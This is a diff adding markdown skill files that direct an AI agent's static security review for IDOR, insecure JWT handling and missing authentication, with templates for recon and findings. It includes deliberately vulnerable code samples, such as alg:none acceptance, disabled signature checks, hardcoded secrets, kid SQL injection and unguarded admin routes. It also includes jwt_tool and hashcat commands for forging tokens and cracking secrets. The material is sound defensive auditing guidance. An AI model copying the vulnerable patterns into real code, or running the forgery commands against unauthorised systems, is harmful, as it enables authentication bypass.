> Include the exact endpoint, HTTP method, headers, and what to look for in the response.
> Use placeholder tokens like <USER_B_TOKEN> and <USER_A_RESOURCE_ID>.]
> ```
>
> ### [LIKELY VULNERABLE] Endpoint name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path/:param`
> - **Issue**: [What's incomplete about the check]
> - **Concern**: [Why this might still be exploitable]
> - **Proof**: [Show the code path with the weak/partial check]
> - **Remediation**: [Specific fix]
> - **Dynamic Test**:
> ```
> [curl command or step-by-step instructions to confirm this finding on the live app.
> Include the exact endpoint, HTTP method, headers, and what to look for in the response.
> Use placeholder tokens like <USER_B_TOKEN> and <USER_A_RESOURCE_ID>.]
> ```
>
> ### [NOT VULNERABLE] Endpoint name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path/:param`
> - **Protection**: [How it's protected — scoped query / ownership check / policy]
>
> ### [NEEDS MANUAL REVIEW] Endpoint name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path/:param`
> - **Uncertainty**: [Why automated analysis couldn't determine the status]
> - **Suggestion**: [What to look at manually]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- Focus on **horizontal privilege escalation** (user-to-user). Vertical escalation (user-to-admin) is a different skill.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
- Trace the full code path: route → middleware → controller → service → data access. Authorization can happen at any layer.
- Pay attention to framework conventions. In Rails, `current_user.orders.find(id)` is safe. In Express, just having `auth` middleware doesn't mean ownership is checked.
+487
View File
@@ -0,0 +1,487 @@
---
name: sast-jwt
description: >-
Detect insecure JWT (JSON Web Token) implementations in a codebase using a
two-phase approach: first map all JWT issuance and verification sites to
understand the token lifecycle and signing configuration, then check each
verification site for exploitable weaknesses such as algorithm confusion,
missing signature verification, weak secrets, header injection, and missing
claim validation. Requires sast/architecture.md (run sast-analysis first).
Outputs findings to sast/jwt-results.md. If no JWT usage is found in Phase 1,
Phase 2 is skipped. Use when asked to find JWT, token forgery, or
authentication bypass bugs.
---
# JWT Vulnerability Detection
You are performing a focused security assessment to find insecure JSON Web Token (JWT) implementations. This skill uses a two-phase approach with subagents: **recon** (map the full JWT lifecycle — issuance, verification, and configuration) then **analysis** (identify every exploitable weakness in those verification sites).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is an Insecure JWT Implementation
JWTs consist of three Base64URL-encoded parts: `header.payload.signature`. The header declares the signing algorithm (`alg`), the payload carries claims (e.g., `sub`, `role`, `exp`), and the signature is a cryptographic proof of integrity. Vulnerabilities arise when the server trusts the token's own claims about how it was signed, fails to verify the signature at all, uses a guessable secret, or trusts attacker-controlled key material embedded in the token itself.
The core pattern: *the server does not fully verify the JWT's authenticity and integrity before trusting its claims.*
### What JWT Vulnerabilities ARE
**1. Algorithm confusion — `alg: none`**
The server accepts a JWT whose header declares `"alg": "none"`, bypassing signature verification entirely. An attacker crafts an arbitrary payload, sets `alg` to `none`, and omits the signature. If the library processes it, the forged token is accepted.
**2. Algorithm confusion — RS256 → HS256**
A server configured for RS256 (asymmetric: sign with private key, verify with public key) can be tricked into HS256 mode if the library allows the algorithm to be specified by the token. Since the public key is often retrievable, the attacker signs a forged token with HS256 using the server's public key as the HMAC secret. The server verifies the HMAC using the same public key and accepts the token.
**3. Missing or disabled signature verification**
The server decodes the JWT payload without actually verifying the signature. Common patterns:
- Python (PyJWT): `jwt.decode(token, options={"verify_signature": False})`
- Node.js (jsonwebtoken): `jwt.decode(token)` instead of `jwt.verify(token, secret)`
- Manual base64 decode of the payload with no signature check
- `algorithms=["none"]` accepted in the decode call
**4. Weak or hardcoded HMAC secret**
The server signs tokens with a short, guessable, or hardcoded secret (e.g., `"secret"`, `"password"`, `"changeme"`, `"jwt-secret-key"`). An attacker who captures a valid token can brute-force the secret offline with tools like `hashcat` or `jwt_tool`, then forge arbitrary tokens.
**5. Embedded JWK (`jwk` header injection)**
The token header contains an embedded JSON Web Key (`jwk` parameter). If the verification code trusts the embedded key to verify the token's own signature, an attacker generates their own key pair, signs a forged token with their private key, and embeds their public key in the header. The server verifies the signature using the attacker's embedded public key and accepts the token.
**6. JKU / X5U header injection**
The `jku` (JWK Set URL) or `x5u` (X.509 certificate URL) header value is used to fetch the verification key from a URL. If the server does not validate the URL against an allowlist, the attacker can point it to their own server hosting a crafted key set.
**7. Key ID (`kid`) header injection**
The `kid` header is used to look up the signing key, often from a database or the filesystem. If the `kid` value is interpolated into a SQL query without sanitization, it becomes an SQL injection vector. If it is concatenated into a file path, it becomes a path traversal vector.
**8. Missing claim validation**
- `exp` not checked → expired tokens remain valid forever
- `iss` (issuer) not checked → tokens issued by other services are accepted
- `aud` (audience) not checked → tokens intended for other services are accepted
- `nbf` (not-before) not checked → tokens used before their valid window
**9. No token revocation**
There is no token blacklist or revocation mechanism. Stolen or logged-out tokens remain valid until they expire. This matters most when token lifetimes are long.
### What JWT Vulnerabilities are NOT
Do not flag these as JWT vulnerabilities:
- **IDOR**: Changing a `user_id` claim to access another user's data is an authorization flaw, not a JWT forgery — only flag if the token itself can be forged
- **XSS via JWT payload**: Injecting `<script>` into a claim that is later rendered unescaped — that's XSS, not a JWT bug
- **CSRF**: JWT in cookies without `SameSite` — that's a CSRF concern, not a JWT integrity issue
- **Properly restricted verification**: `jwt.verify(token, secret, { algorithms: ['HS256'] })` with a strong secret — not vulnerable
### Patterns That Prevent JWT Vulnerabilities
**1. Algorithm allowlist in verification call**
```python
# Python — PyJWT: explicitly specify allowed algorithms
payload = jwt.decode(token, secret, algorithms=["HS256"])
# Node.js — jsonwebtoken: restrict algorithms
jwt.verify(token, secret, { algorithms: ['HS256'] })
# Java — jjwt: specify expected algorithm
Jwts.parserBuilder().setSigningKey(key).build().parseClaimsJws(token)
# (jjwt does not use the header's alg; it uses the key type)
```
**2. Strong, randomly generated secret**
```python
# Strong secret: at least 256 bits of entropy, not hardcoded
import secrets
SECRET_KEY = secrets.token_hex(32) # load from env in production
```
**3. Full claim validation**
```python
payload = jwt.decode(
token, secret, algorithms=["HS256"],
options={"require": ["exp", "iss", "aud"]},
issuer="https://myapp.example.com",
audience="myapp-api"
)
```
**4. Asymmetric keys with no algorithm ambiguity**
```javascript
// Use RS256 with public key for verification; never accept HS256 on the same endpoint
jwt.verify(token, publicKey, { algorithms: ['RS256'] })
```
**5. JWK/JKU URL allowlist**
```python
# Only fetch keys from a known, trusted JWKS endpoint
ALLOWED_JWKS_URLS = {"https://accounts.google.com/.well-known/jwks.json"}
if jku not in ALLOWED_JWKS_URLS:
raise ValueError("Untrusted JWK URL")
```
---
## Vulnerable vs. Secure Examples
### Python — PyJWT
```python
# VULNERABLE: signature verification disabled
def get_current_user(token: str):
payload = jwt.decode(token, options={"verify_signature": False})
return payload["user_id"]
# VULNERABLE: accepts alg:none because no algorithm restriction
def get_current_user(token: str):
payload = jwt.decode(token, SECRET_KEY) # PyJWT < 2.x default: accepts any alg
return payload["user_id"]
# VULNERABLE: weak hardcoded secret
SECRET_KEY = "secret"
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
# SECURE: algorithm restricted, strong secret from env
SECRET_KEY = os.environ["JWT_SECRET"] # strong, random, from environment
def get_current_user(token: str):
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
return payload["user_id"]
```
### Node.js — jsonwebtoken
```javascript
// VULNERABLE: jwt.decode() — no signature verification
function getUser(token) {
const payload = jwt.decode(token); // decode only, never verify
return payload.userId;
}
// VULNERABLE: algorithms not restricted — susceptible to alg:none or RS256→HS256
function getUser(token) {
const payload = jwt.verify(token, SECRET); // no algorithms option
return payload.userId;
}
// VULNERABLE: weak hardcoded secret
const SECRET = "password123";
jwt.verify(token, SECRET, { algorithms: ['HS256'] });
// SECURE: algorithm restricted, strong secret from env
const SECRET = process.env.JWT_SECRET;
function getUser(token) {
const payload = jwt.verify(token, SECRET, { algorithms: ['HS256'] });
return payload.userId;
}
```
### Java — jjwt
```java
// VULNERABLE: deprecated parser (accepts alg from header)
Jwts.parser().setSigningKey(key).parseClaimsJws(token);
// VULNERABLE: no expiry check — the library default may not enforce exp
Claims claims = Jwts.parserBuilder()
.setSigningKey(key).build()
.parseClaimsJws(token).getBody();
// claims.getExpiration() never checked
// SECURE: parserBuilder (does not trust header alg; uses key type)
Claims claims = Jwts.parserBuilder()
.requireIssuer("myapp")
.requireAudience("myapp-api")
.setSigningKey(key)
.build()
.parseClaimsJws(token)
.getBody();
```
### Go — golang-jwt / dgrijalva/jwt-go
```go
// VULNERABLE: accepts any algorithm including "none"
token, _ := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
return []byte(secret), nil // no algorithm check
})
// VULNERABLE: weak secret
var jwtKey = []byte("secret")
// SECURE: validate signing method before returning key
token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
}
return jwtKey, nil
})
```
### kid header SQL injection
```python
# VULNERABLE: kid used in SQL query without sanitization
def get_signing_key(kid):
result = db.execute(f"SELECT key FROM jwt_keys WHERE id = '{kid}'")
return result.fetchone()[0]
token_header = jwt.get_unverified_header(token)
key = get_signing_key(token_header["kid"]) # attacker controls kid
jwt.decode(token, key, algorithms=["HS256"])
# SECURE: kid validated against allowlist or parameterized lookup
def get_signing_key(kid):
result = db.execute("SELECT key FROM jwt_keys WHERE id = %s", (kid,))
row = result.fetchone()
if not row:
raise ValueError("Unknown key id")
return row[0]
```
### Embedded JWK injection
```javascript
// VULNERABLE: trusts the jwk embedded in the token header
const { publicKey } = getPublicKeyFromHeader(decoded.header); // attacker-supplied
jwt.verify(token, publicKey);
// SECURE: only use keys from a pre-configured, trusted source
const trustedKey = loadKeyFromConfig();
jwt.verify(token, trustedKey, { algorithms: ['RS256'] });
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Map the JWT Lifecycle
Launch a subagent with the following instructions:
> **Goal**: Map how the application creates, transmits, and verifies JWTs. Identify every JWT issuance and verification site, the library used, the signing algorithm and key/secret configuration, and the claims that are used for authorization. Write results to `sast/jwt-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the tech stack, authentication layer, and middleware patterns.
>
> **What to search for**:
>
> **1. JWT library imports** — identify which JWT library is in use:
> - Python: `import jwt`, `from jose import`, `from authlib import`, `import python_jose`
> - Node.js: `require('jsonwebtoken')`, `import jwt from 'jsonwebtoken'`, `jose`, `@nestjs/jwt`
> - Java: `io.jsonwebtoken`, `com.auth0.jwt`, `nimbus-jose-jwt`
> - Go: `github.com/golang-jwt/jwt`, `github.com/dgrijalva/jwt-go`, `github.com/lestrrat-go/jwx`
> - Ruby: `jwt` gem (`require 'jwt'`)
> - PHP: `firebase/php-jwt`, `lcobucci/jwt`
> - C#: `System.IdentityModel.Tokens.Jwt`, `Microsoft.AspNetCore.Authentication.JwtBearer`
>
> **2. JWT signing / issuance sites** — where tokens are created:
> - `jwt.encode(...)`, `jwt.sign(...)`, `Jwts.builder().signWith(...)`, `JWT.create().sign(...)`
> - Note the algorithm used (`HS256`, `RS256`, etc.) and where the secret/key comes from (env var, config, hardcoded)
>
> **3. JWT verification / decoding sites** — where tokens are consumed:
> - `jwt.decode(...)`, `jwt.verify(...)`, `Jwts.parserBuilder()...parseClaimsJws(...)`, `JWT::decode(...)`
> - Note what options are passed: `algorithms`, `options`, `verify_signature`, `verify_exp`
> - Note if it's a raw `decode` (no verification) vs. a `verify` call
>
> **4. Token extraction** — where the token is read from the incoming request:
> - Authorization header: `request.headers.get("Authorization")`, `req.headers['authorization']`
> - Cookie: `request.cookies.get("token")`, `req.cookies.token`
> - Query parameter: `request.args.get("token")`, `req.query.token`
>
> **5. Authorization middleware / decorators** — centralized JWT checks:
> - `@jwt_required`, `@login_required`, `requireAuth`, `JwtAuthGuard`, `[Authorize]`, middleware functions
> - Note which routes are protected and which are unprotected
>
> **6. Signing secret / key configuration**:
> - Where the HMAC secret or RSA/EC key is defined and loaded (env var, config file, hardcoded string)
> - Whether it looks strong (long random string) or weak (short, common word)
>
> **7. Claim usage**:
> - Which claims are extracted and used for authorization (`user_id`, `role`, `permissions`, `sub`)
> - Whether `exp`, `iss`, `aud`, `nbf` are checked
>
> **Output format** — write to `sast/jwt-recon.md`:
>
> ```markdown
> # JWT Recon: [Project Name]
>
> ## Summary
> JWT is [used / not used] in this codebase.
> Library: [library name and version if visible]
> Algorithm(s): [HS256 / RS256 / etc.]
>
> ## Issuance Sites
>
> ### 1. [Descriptive name — e.g., "Token generation in login endpoint"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / endpoint**: [function name or route]
> - **Algorithm**: [e.g., HS256]
> - **Secret/key source**: [env var name / hardcoded string / config key]
> - **Claims set**: [list of claims added to the payload]
> - **Code snippet**:
> ```
> [the signing call]
> ```
>
> ## Verification Sites
>
> ### 1. [Descriptive name — e.g., "Token verification in auth middleware"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / middleware**: [function name]
> - **Verification call**: [jwt.decode / jwt.verify / parseClaimsJws / etc.]
> - **Algorithm restriction**: [algorithms=["HS256"] / no restriction / unknown]
> - **Signature verification**: [enabled / disabled / unclear]
> - **Claims validated**: [exp / iss / aud / none / unknown]
> - **Token source**: [Authorization header / cookie / query param]
> - **kid/jwk/jku used**: [yes — describe how / no]
> - **Code snippet**:
> ```
> [the verification call and surrounding context]
> ```
>
> ## Secret / Key Configuration
> - **Secret source**: [env var / hardcoded / config file]
> - **Apparent strength**: [strong (long random) / weak (short/common) / unknown]
> - **Code snippet** (if hardcoded or suspicious):
> ```
> [relevant code]
> ```
>
> ## Authorization Middleware Coverage
> - **Protected routes**: [list or description]
> - **Unprotected routes**: [list or "none observed"]
> ```
### After Phase 1: Check for JWT Usage Before Proceeding
After Phase 1 completes, read `sast/jwt-recon.md`. If the summary states JWT is **not used** (no issuance or verification sites were found), **skip Phase 2 entirely**. Instead, write the following content to `sast/jwt-results.md` and stop:
```markdown
# JWT Analysis Results
No JWT usage detected in this codebase.
```
Only proceed to Phase 2 if Phase 1 found at least one JWT verification site.
### Phase 2: Analyze JWT Verification Sites for Vulnerabilities
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each JWT verification site in `sast/jwt-recon.md`, determine whether it is exploitable. Check for algorithm confusion, missing signature verification, weak secrets, header injection attacks, and missing claim validation. Write final results to `sast/jwt-results.md`.
>
> **Context**: You will be given the project's architecture summary and the Phase 1 recon output. Use both to understand the full token lifecycle before analyzing each site.
>
> **For each verification site, check the following**:
>
> **Check 1 — Algorithm restriction**
> - Is the allowed algorithm explicitly specified in the verification call?
> - If no algorithm restriction is present, can the token's `alg` header be set to `none` to skip signature verification?
> - If the server uses an asymmetric algorithm (RS256, ES256), does the verification code also accept HMAC algorithms (HS256)? If so, the server may be vulnerable to the RS256→HS256 confusion attack.
>
> **Check 2 — Signature verification enabled**
> - Is the token passed through a verify/parse call that actually checks the signature, or only through a decode-only call?
> - Look for options like `verify_signature: False`, `complete=False`, or the use of `jwt.decode()` (Node.js) instead of `jwt.verify()`
> - Manual base64-decode of the payload without any signature check is always vulnerable
>
> **Check 3 — HMAC secret strength**
> - Is the secret hardcoded in source code? If so, is it a common word or short string?
> - Is the secret loaded from an environment variable or config? Even then, note if the default or example value is weak
> - A secret shorter than 32 characters or composed of dictionary words is likely brute-forceable
>
> **Check 4 — Embedded JWK / JKU / X5U header injection**
> - Does the verification code read the `jwk` field from the token header and use it to verify the same token?
> - Does the code fetch a key from a URL specified in the `jku` or `x5u` header without validating the URL against an allowlist?
> - If either is true, the verification is fully bypassable
>
> **Check 5 — `kid` header injection**
> - Is the `kid` header value extracted from the token before verification and used to look up a key?
> - Is the `kid` value interpolated into a SQL query without parameterization? → SQL injection
> - Is the `kid` value used to construct a file path without sanitization? → path traversal / key substitution
>
> **Check 6 — Claim validation**
> - Is `exp` (expiry) checked? If not, expired tokens are valid forever
> - Is `iss` (issuer) checked? If not, tokens from other issuers are accepted
> - Is `aud` (audience) checked? If not, tokens for other services are accepted
> - Are security-sensitive claims like `role` or `permissions` present but not validated against a server-side source?
>
> **Check 7 — Token revocation**
> - Is there a token blacklist, revocation endpoint, or short-lived token + refresh-token pattern?
> - If tokens are long-lived (hours or more) with no revocation mechanism, stolen tokens remain valid
>
> **Classification**:
> - **Vulnerable**: The weakness is clearly present with no effective mitigation — the attack path is directly exploitable.
> - **Likely Vulnerable**: The weakness is probably present but requires confirming a secondary condition (e.g., library version behavior, default option value).
> - **Not Vulnerable**: The implementation correctly addresses this check.
> - **Needs Manual Review**: Cannot determine the vulnerability status with confidence from static analysis alone.
>
> **Output format** — write to `sast/jwt-results.md`:
>
> ```markdown
> # JWT Analysis Results: [Project Name]
>
> ## Executive Summary
> - Verification sites analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Vulnerability class**: [e.g., "Missing signature verification" / "alg:none accepted" / "Weak HMAC secret" / "JWK header injection" / "kid SQL injection" / "Missing exp validation"]
> - **Issue**: [Clear description of what is wrong]
> - **Attack scenario**: [Step-by-step: what the attacker does, what token they craft or modify, what access they gain]
> - **Impact**: [What an attacker can achieve — forge arbitrary identity, escalate privileges, access other users' data, etc.]
> - **Remediation**: [Specific fix — add algorithms restriction, enable verify_signature, load secret from env, pin JWKS URL, parameterize kid lookup, add exp validation, etc.]
> - **Dynamic Test**:
> ```
> [Proof-of-concept using jwt_tool, hashcat, or curl.
> Show the exact command to reproduce the issue.
> Examples:
> - jwt_tool <token> -X a (test alg:none)
> - jwt_tool <token> -X s (test RS256→HS256 confusion)
> - hashcat -a 0 -m 16500 <token> wordlist.txt (brute-force HMAC secret)
> - Manual: modify payload, set alg:none, send to endpoint]
> ```
>
> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Vulnerability class**: [class]
> - **Issue**: [What appears to be wrong]
> - **Uncertainty**: [What needs to be confirmed — e.g., "Library version determines default behavior"]
> - **Remediation**: [Fix]
> - **Dynamic Test**:
> ```
> [payload or command to attempt exploitation]
> ```
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Reason**: [e.g., "Algorithm restricted to HS256 with strong env-loaded secret; exp validated"]
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Uncertainty**: [Why the vulnerability status cannot be determined statically]
> - **Suggestion**: [What to inspect manually — e.g., "Confirm what JWT library version is installed; older versions of PyJWT accept alg:none by default"]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- **Phase 1 is purely discovery**: locate every JWT issuance, verification, and configuration site. Do not attempt to assess security in Phase 1 — that is Phase 2's job.
- **Phase 2 is purely analysis**: for each verification site found in Phase 1, systematically check every vulnerability class. Do not search for new sites in Phase 2 — focus on what Phase 1 found.
- If no JWT usage is found in Phase 1, skip Phase 2 entirely and write a "No JWT usage detected" result file.
- The most critical checks are: signature verification disabled, algorithm not restricted (alg:none / RS256→HS256 confusion), and weak or hardcoded HMAC secret. These lead directly to full authentication bypass.
- `jwt.decode()` in Node.js's `jsonwebtoken` library is a decode-only function — it never verifies the signature. Only `jwt.verify()` validates the signature. Confusing the two is a common and critical mistake.
- In Python's PyJWT, versions before 2.0 accepted `alg: none` by default and did not require an `algorithms` parameter. If the codebase does not pin the version or restrict algorithms, flag it.
- Algorithm confusion (RS256→HS256) requires: (a) the server uses RS256 with a key pair, (b) the public key is accessible, and (c) the verification code does not restrict the algorithm. All three must be present.
- `kid` injection is often overlooked: always check how the key lookup is implemented when `kid` is present in the token header.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
@@ -0,0 +1,515 @@
---
name: sast-missingauth
description: >-
Detect missing authentication and broken function-level authorization
vulnerabilities in a codebase using a two-phase approach: first map all
endpoints and the role/permission system, then verify each endpoint has
proper authentication and authorization checks. Covers unauthenticated
access and vertical privilege escalation (e.g., regular user accessing
admin-only functions). Requires sast/architecture.md (run sast-analysis
first). Outputs findings to sast/missingauth-results.md. Use when asked
to find missing auth, broken access control, or privilege escalation bugs.
---
# Missing Authentication & Broken Function-Level Authorization Detection
You are performing a focused security assessment to find missing authentication and broken function-level authorization vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **recon** (map endpoints and the permission system) then **verify** (check every endpoint for proper auth/authz gates).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What This Skill Covers
### Missing Authentication
An endpoint performs a sensitive action but requires **no login at all** — any anonymous HTTP request can trigger it.
### Broken Function-Level Authorization
An endpoint requires authentication (user must be logged in) but **does not check whether the authenticated user has the required role or permission** to invoke that function. The classic example: a regular user calling an admin-only API.
### What This Skill Is NOT
Do not conflate with:
- **IDOR / Horizontal privilege escalation**: Authenticated user A accessing user B's resource by changing an ID. This skill covers **vertical** privilege escalation and unauthenticated access.
- **JWT weaknesses**: Flawed token signing/verification (covered by sast-jwt).
- **Business logic flaws**: Price manipulation, workflow bypass — these are separate.
---
## Vulnerability Classes
### Class 1: Unauthenticated Sensitive Endpoint
The endpoint modifies data, returns private information, or performs an administrative action — with no authentication required.
```
GET /api/admin/users → returns full user list, no token needed
DELETE /api/admin/users/5 → deletes a user, no token needed
POST /api/settings/smtp → updates server config, no token needed
```
### Class 2: Authenticated but Missing Role Check
The endpoint requires a valid session/token but performs no role or permission check. Any authenticated user — regardless of role — can invoke admin or privileged functions.
```
Regular user sends:
DELETE /api/admin/users/5
Authorization: Bearer <regular_user_token>
→ Server deletes the user without checking if the caller is an admin
```
### Class 3: Incomplete or Bypassable Authorization
Authorization logic is present but can be bypassed:
- Role check exists in the GET handler but not in the corresponding DELETE/POST handler
- Role check is conditional on a request header or parameter the attacker controls
- Middleware is registered but the route is mounted before the middleware applies
---
## Authorization Patterns That PREVENT Vulnerabilities
When you see these patterns, the endpoint is likely **not vulnerable**:
**1. Authentication + role-check middleware on a route group**
```javascript
// Express: all /admin routes protected
router.use('/admin', auth, requireRole('admin'));
router.delete('/admin/users/:id', deleteUser); // protected by above
// Flask-Login + custom decorator
@app.route('/admin/users')
@login_required
@admin_required
def list_users(): ...
```
**2. Declarative role annotations (Java / Spring)**
```java
@PreAuthorize("hasRole('ADMIN')")
@DeleteMapping("/api/admin/users/{id}")
public ResponseEntity<?> deleteUser(@PathVariable Long id) { ... }
```
**3. In-handler role check before sensitive action**
```python
# Django
@login_required
def delete_user(request, user_id):
if not request.user.is_staff:
return HttpResponseForbidden()
User.objects.filter(id=user_id).delete()
return HttpResponse(status=204)
```
**4. Middleware gate applied to entire prefix**
```go
// Chi router — admin group protected
r.Group(func(r chi.Router) {
r.Use(AdminOnly)
r.Delete("/admin/users/{id}", deleteUser)
})
```
**5. Policy/Gate objects**
```php
// Laravel Gate
Gate::define('admin-action', fn($user) => $user->role === 'admin');
// In controller
$this->authorize('admin-action');
```
---
## Vulnerable vs. Secure Examples
### Python — Django
```python
# VULNERABLE: No authentication at all
def list_all_users(request):
users = User.objects.values('id', 'email', 'is_staff')
return JsonResponse(list(users), safe=False)
# VULNERABLE: Authenticated but no role check
@login_required
def delete_user(request, user_id):
User.objects.filter(id=user_id).delete()
return HttpResponse(status=204)
# SECURE
@login_required
def delete_user(request, user_id):
if not request.user.is_staff:
return HttpResponseForbidden()
User.objects.filter(id=user_id).delete()
return HttpResponse(status=204)
```
### Python — Flask
```python
# VULNERABLE: No auth decorator
@app.route('/admin/users')
def list_users():
return jsonify([u.to_dict() for u in User.query.all()])
# VULNERABLE: Login required but no role check
@app.route('/admin/users/<int:user_id>', methods=['DELETE'])
@login_required
def delete_user(user_id):
user = User.query.get_or_404(user_id)
db.session.delete(user)
db.session.commit()
return '', 204
# SECURE
@app.route('/admin/users/<int:user_id>', methods=['DELETE'])
@login_required
def delete_user(user_id):
if current_user.role != 'admin':
abort(403)
user = User.query.get_or_404(user_id)
db.session.delete(user)
db.session.commit()
return '', 204
```
### Node.js — Express
```javascript
// VULNERABLE: No auth middleware
router.get('/api/admin/users', async (req, res) => {
const users = await User.find({});
res.json(users);
});
// VULNERABLE: Auth middleware present but no role check
router.delete('/api/admin/users/:id', auth, async (req, res) => {
await User.findByIdAndDelete(req.params.id);
res.sendStatus(204);
});
// SECURE
const requireAdmin = (req, res, next) => {
if (req.user.role !== 'admin') return res.sendStatus(403);
next();
};
router.delete('/api/admin/users/:id', auth, requireAdmin, async (req, res) => {
await User.findByIdAndDelete(req.params.id);
res.sendStatus(204);
});
```
### Ruby on Rails
```ruby
# VULNERABLE: No before_action
def destroy
User.find(params[:id]).destroy
head :no_content
end
# VULNERABLE: Authenticated but no admin check
before_action :authenticate_user!
def destroy
User.find(params[:id]).destroy
head :no_content
end
# SECURE
before_action :authenticate_user!
before_action :require_admin
def destroy
User.find(params[:id]).destroy
head :no_content
end
private
def require_admin
head :forbidden unless current_user.admin?
end
```
### Java — Spring Boot
```java
// VULNERABLE: No security annotation
@DeleteMapping("/api/admin/users/{id}")
public ResponseEntity<?> deleteUser(@PathVariable Long id) {
userRepo.deleteById(id);
return ResponseEntity.noContent().build();
}
// VULNERABLE: Authenticated but wrong role
@DeleteMapping("/api/admin/users/{id}")
@Secured("ROLE_USER") // any user can call this
public ResponseEntity<?> deleteUser(@PathVariable Long id) {
userRepo.deleteById(id);
return ResponseEntity.noContent().build();
}
// SECURE
@DeleteMapping("/api/admin/users/{id}")
@PreAuthorize("hasRole('ADMIN')")
public ResponseEntity<?> deleteUser(@PathVariable Long id) {
userRepo.deleteById(id);
return ResponseEntity.noContent().build();
}
```
### Go
```go
// VULNERABLE: No auth middleware on route
r.Delete("/admin/users/{id}", deleteUser)
// VULNERABLE: Auth middleware but no role check in handler
r.With(AuthMiddleware).Delete("/admin/users/{id}", deleteUser)
func deleteUser(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
db.DeleteUser(id) // no role check
w.WriteHeader(http.StatusNoContent)
}
// SECURE
r.Group(func(r chi.Router) {
r.Use(AuthMiddleware)
r.Use(AdminOnlyMiddleware)
r.Delete("/admin/users/{id}", deleteUser)
})
```
### PHP — Laravel
```php
// VULNERABLE: No auth middleware
Route::delete('/admin/users/{id}', [AdminController::class, 'destroy']);
// VULNERABLE: Auth but no role gate
Route::middleware('auth')->delete('/admin/users/{id}', [AdminController::class, 'destroy']);
// SECURE
Route::middleware(['auth', 'role:admin'])->delete('/admin/users/{id}', [AdminController::class, 'destroy']);
// SECURE (using Gate in controller)
public function destroy($id) {
Gate::authorize('admin-action');
User::findOrFail($id)->delete();
return response()->noContent();
}
```
### C# — ASP.NET Core
```csharp
// VULNERABLE: No authorization attribute
[HttpDelete("api/admin/users/{id}")]
public async Task<IActionResult> DeleteUser(int id) {
await _userService.DeleteAsync(id);
return NoContent();
}
// VULNERABLE: [Authorize] but no role
[Authorize]
[HttpDelete("api/admin/users/{id}")]
public async Task<IActionResult> DeleteUser(int id) {
await _userService.DeleteAsync(id);
return NoContent();
}
// SECURE
[Authorize(Roles = "Admin")]
[HttpDelete("api/admin/users/{id}")]
public async Task<IActionResult> DeleteUser(int id) {
await _userService.DeleteAsync(id);
return NoContent();
}
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Recon — Map Endpoints and Permission System
Launch a subagent with the following instructions:
> **Goal**: Build a complete map of (1) all application endpoints/routes and their current authentication/authorization posture, and (2) the role/permission system. Write results to `sast/missingauth-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the tech stack, frameworks, route definitions, and the auth/authz strategy.
>
> **What to search for**:
>
> 1. **All route/endpoint definitions** — collect every HTTP handler, REST endpoint, GraphQL mutation/query, RPC method, or WebSocket handler:
> - Express/Koa: `router.get/post/put/delete/patch/use`
> - Django: `urlpatterns`, `path()`, `re_path()`
> - Flask: `@app.route`, `@blueprint.route`
> - Rails: `routes.rb` — `get`, `post`, `resources`, `namespace`
> - Spring: `@GetMapping`, `@PostMapping`, `@RequestMapping`, `@DeleteMapping`, `@PutMapping`
> - Go/Chi: `r.Get`, `r.Post`, `r.Delete`, `r.Handle`
> - Laravel: `Route::get/post/put/delete`
> - FastAPI: `@router.get/post/put/delete`
> - ASP.NET: `[HttpGet]`, `[HttpPost]`, `[HttpDelete]`, `[HttpPut]`
>
> 2. **Authentication middleware and decorators** currently applied:
> - Identify the pattern used: `@login_required`, `auth` middleware, `[Authorize]`, `authenticate_user!`, JWT verification middleware, session checks
> - Note which routes or route groups they are applied to
> - Note any routes explicitly excluded from auth (e.g., `except: [:index, :show]`)
>
> 3. **Role/permission system** — identify how roles are defined and checked:
> - Role constants/enums: `ROLE_ADMIN`, `'admin'`, `UserRole.ADMIN`, `is_staff`, `is_superuser`
> - Permission decorators: `@admin_required`, `@roles_required`, `@PreAuthorize`, `requireRole()`
> - Middleware: `AdminOnly`, `requireAdmin`, `role:admin`
